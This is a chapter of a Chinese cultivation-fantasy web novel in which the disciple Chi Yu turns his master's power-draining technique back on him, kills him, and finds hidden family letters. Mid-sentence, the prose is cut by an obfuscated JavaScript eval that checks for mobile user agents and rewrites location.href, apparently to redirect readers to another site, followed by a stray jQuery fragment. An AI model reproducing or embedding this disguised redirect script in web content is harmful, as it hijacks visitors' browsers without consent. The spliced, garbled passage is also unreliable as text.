金岚峰上,一间隐于松林的简陋木屋内。
凌玄端坐在主位上,平日的慈眉善目间却藏着一丝阴鸷。
他指尖轻轻敲击着桌面,目光如鹰隼般落在堂下躬身而立的少年身上,半晌才缓缓开口:“老夫有段日子未曾来看你,没想到你的修为,竟能恢复至练气五层。”
池遇今天穿着一身与以往劲装不同的,颇显儒气的宽袖长袍,双手交叠置于身前,做出一副恭谨模样:“回师父,弟子愚钝,能重回如今修为,已是万分侥幸。”
“愚钝?”凌玄冷笑一声,“老夫看你可是聪明得很哪!”
话音未落,凌玄右手微微一扬,一股暗红夹杂着黑气的诡异灵力骤然自掌心涌出,化作一条泛着寒气的灵索,瞬间缠上池遇的脖颈,骤然收紧。
窒息感顷刻袭来,池遇颤颤道:“师父这是何意?弟子究竟做错了什么,惹得师父动怒?”
他眼中满是惊恐与不解,无辜地望向凌玄。
可凌玄却不为所动,不紧不慢地走到池遇面前,枯槁的大掌猛地扣在池遇的肩头。
一股磅礴灵力压制下来,池遇膝盖一软,“噗通”一声跪倒在地。
凌玄居高临下地看着他,目光阴狠:“逆徒!你以为偷偷运转敛气诀掩藏真实修为,老夫就觉察不出?别忘了,你这门隐匿修为的本事,本就是老夫传授的。”
池遇见被识破,咬着牙,无话可说。
见他默认,凌玄嘴角勾起,右手按上池遇的颅顶,神识侵入池遇的丹田气海,仔细探查起来。
瞬间,凌玄眼中闪过一丝惊诧:“练气八层!不愧是天根!上次老夫出手,伤了你的灵根脉络,短短半年,你竟能重铸灵根,修复经脉!若是再给你一些时间,岂不是又要成功筑基?”
池遇依旧沉默,牙关紧咬。
凌玄收回神识,冷冷道:“既然你敢刻意隐藏修为,想必,早已知晓老夫修炼的移邪夺鼎功,究竟有何禁忌了吧?”
池遇不置可否,算是默认了他的话。
见池遇这般态度,凌玄仰天大笑,笑声癫狂又轻蔑:“自以为是的蠢货!就算你知晓了又能如何?区区练气八层,在老夫面前如同蝼蚁!可惜啊可惜,若是你踏入筑基期,老夫或许还要忌惮三分,可现在,你依旧是老夫掌中之物!”
筑基期!
这三个字如惊雷般在池遇心头炸响。
距离上次误入沧溟古界,在小白和巨蟒妖丹的帮助下,他现在的真实修为已巩固在筑基初期巅峰。
今日凌玄虽来得突然,但好在他一直布着法阵,一有感应便马上按计划行事。
在凌玄“放养”他的这段时间里,池遇除了继续精进修为,还一直为应对凌玄最后一次噬灵做着准备。
那日在时渊道君的志文里得知小白可以隐藏灵力,他便尝试能否让小白通过控制它天赋的释放,使修为隐藏到想要的层级上,没想到果然可行。
方才用藏锋敛气诀故意压低修为,他料到会被老狐狸识破,这样做只是为了让他掉以轻心,好不再怀疑他的真实修为,方便进行下一步。
此刻凌玄已失去全部耐心,不想再与他多言,周身的邪异灵力疯狂涌动,直接运转起移邪夺鼎功,冲着池遇的丹田狠狠吸去。
刹那间,令他痛不欲生的感觉又来了。
有了上次的经验,这次池遇没有惊慌,而是稳住心神,藏在袖子里的右手轻轻动了动。
一直蜷缩在他袖中,用自身天赋帮他隐藏灵力波动的小白立即会意,悄无声息地收回了隐匿灵力的神通。
正疯狂吸食灵力的凌玄猛地察觉到异常,眉头一皱:“奇怪,你这灵力……等等……你竟然是筑基期!这怎么可能!”
凌玄百思不得其解,可此刻移邪夺鼎功已然运转,功法一开,哪有轻易停下的道理?
他很快压下心中的惊诧,不屑道:“就算你侥幸筑基又如何?老夫乃是金丹期修为,筑基修士妄图越阶抗衡金丹,简直是蚍蜉撼树,无稽之谈!”
“是么?”
池遇强忍着体内灵力被强行抽离的剧痛,拼尽全力,抬起双手死死攥住凌玄按在他颅顶的手臂,指节恨不得嵌入凌玄的皮肉之中,不让他有丝毫挣脱的机会。
未等凌玄反应过来,一道黑影从池遇袖中窜出,利索地爬上两人手臂的连接处。
“什么鬼东西!”凌玄见到一只浑身黑毛的小兽扒着自己的手臂,模样像极了大黑耗子,顿时一阵反胃。
小白四爪并用,前爪紧紧抱着凌玄的胳膊,后爪死死扣住池遇的手腕,对着两人灵力相通的地方“唧唧”叫了两声,漆黑的毛发瞬间泛起耀眼的金光,一股诡异的吸力骤然爆发!
“不好!老夫的灵力!”
凌玄脸色霎时惨白,惊恐地发现自己体内的金丹灵力,竟不受控制地顺着手臂、这耗子的身体,源源不断地传输到池遇的体内!原本是他吸食池遇的修为,此刻竟被彻底逆转,变成了他的灵力被池遇疯狂吞噬!
“你竟然在吸我的灵力?这怎么可能!”凌玄吓得不轻,从未见过这般诡异的景象,只觉体内的修为随着灵力的流失暴跌,金丹都开始震颤。
事到如今,管不得那么多了,他当即想要收功,可无论他如何催动神识,体内的灵力都被那股强劲的吸力牢牢牵引,根本无法自主调用,只能眼睁睁看着他的修为被诡异妖兽反哺给池遇。
一直胜券在握、掌控一切的表情,终于在凌玄脸上彻底破碎。
他拼命挣扎着想要抽回手臂,可池遇的双手如同铁钳一般,分毫不让他挣脱。
“停!快停下!池遇!为师……我错了!你快停下!”凌玄再也维持不住往日的威严,惊恐地叫喊起来。
池遇咬紧牙关,将全身力气都灌注在双手之上,目光冰冷地瞪着凌玄。
老狐狸,今日便是清算账目,了结一切的时候。
凌玄的修为飞速下降,境界从金丹期暴跌至筑基后期,再到筑基中期、初期,体内的金丹开始出现细密的裂痕。
一口腥甜的鲜血涌上喉咙,被他强行咽了回去。他依旧不死心,用最后的底气威胁道:“臭小子!你别忘了,你体内还有赤练草毒,我若死了,解药你可拿不到了!”
池遇连一句多余的话都懒得说。
见威胁无用,凌玄又换了一副哀求的嘴脸:“赤练草解药,还有移邪夺鼎功的完整秘笈,老夫都可以给你!只要你放我一马,过往恩怨一笔勾销,老夫绝不追究!”
“呵,师父莫不是忘了,是你教我的,太仁慈,就是给自己少留一条活路。”
池遇缓缓站起身,因吸收了凌玄的灵力,他身上的气息愈发浑厚,甚至隐隐有突破的迹象。
他看着更加沧桑的凌玄,幽幽道:“要怪,就怪你做事太绝,不留半分余地。若非你把我逼得太紧,我也不会想要鱼死网破。”
凌玄瘫软在地,他看着池遇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338448|199279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绝情的眼神,终于了然,自己步步为营,最终要在今天栽在这个未涉世事的少年手上。
他终于认了,疲惫地闭上双眼,唏嘘道:“当初不争,结果也是那般,如今老夫就算落得如此下场,也不后悔争过一线天机!”
移邪夺鼎功的反噬彻底触发。小白任务完成,钻回池遇衣衫里补觉。
见一切没有回转余地,凌玄脸上露出一丝惨笑:“小子,老夫好歹也算你半个师父,临死前,求你一件事。”
池遇专心吸收着凌玄反噬而来的修为,梳理着体内暴涨的灵力,压根无暇顾及凌玄的遗言。
凌玄自顾自道:“我那师弟凌纁最恨邪门外道,你莫要将老夫所做之事告诉他,算是……留给老夫最后一点脸面。”
池遇依旧不言。
“你小子……”凌玄见状,苦笑一声,“你刚入门时,心性纯善,从不是这般铁石心肠的模样。终究……是老夫害了你。”
说到最后,他突然回光返照般双目圆睁,仰天怒吼:“师父!你也害得徒儿好苦啊!”
声嘶力竭的呐喊在林间回荡,渐渐消散。
不知过了多久,凌玄体内最后一丝精魂被反噬殆尽,浑身血肉干枯,如同干尸。
池遇松开手,凝出一张火符咒,轻轻弹在凌玄的尸身之上。
玄火燃起,不过数息,凌玄的身躯便被烧得干干净净,唯有地上遗留的储物袋以及几件随身法器,证明着此人曾存在过。
池遇捡起储物袋,注入一丝灵力,轻松打开。
储物袋内摆放着一本封面漆黑,写着“移邪夺鼎功”五个诡谲大字的秘笈,旁边堆着几瓶疗伤与修炼的丹药,灵石寥寥无几。
凌玄还真是不敢让人发现他修炼邪功,连这本邪功秘笈都时刻随身携带。
仔细翻找了一番,里面果然没有赤练草毒的解药。
池遇虽早有预料,但当猜想真被验证后,依然难免失望。
他对凌玄还存有最后一丝良心的幻想彻底破灭。
奇怪的是,储物袋里还有两封泛黄的书信,信封上赫然写着“池遇亲启”四个字,一下引起他注意。
池遇连忙拆开书信,一字一句地细读起来,看着看着,他的脸色越来越沉。
第一封书信写于半年之前,是他兄长池远亲笔。
信中言道,暗沙会与浔灵山庄爆发冲突,双方死伤无数,纷争愈演愈烈,命他速回浔灵山庄,施以援手。
第二封书信,日期更近,写于两个月前,是他母亲的的字迹,字里行间满是悲痛:
“远儿遭人暗算,不幸殒命,山庄危在旦夕,见信速归。”
两封家书当初费尽周折送到凌剑门,却被凌玄私自拦截,压在了储物袋里,从未转交给他。
凌玄怕他得知家中变故,分心修炼,影响自己夺他修为,于是瞒得密不透风。
“大哥……娘……”
一波刚平,一波又起。
池遇攥紧书信,眼眶通红,心中焦急如焚,恨不得立刻飞回浔灵山庄。
他深吸一口气,强迫自己压下心中的慌乱与悲痛,冷静下来。
凌玄刚死,诸多事宜必须一一安排妥当,才能无后顾之忧地离开凌剑门,赶回浔灵山庄。
池遇将书信小心翼翼地收入怀中,带上小白,毫无留恋地离开了木屋。
山风穿过松林,吹进门内,卷起地上的几片落叶,好像这里从未来过人般。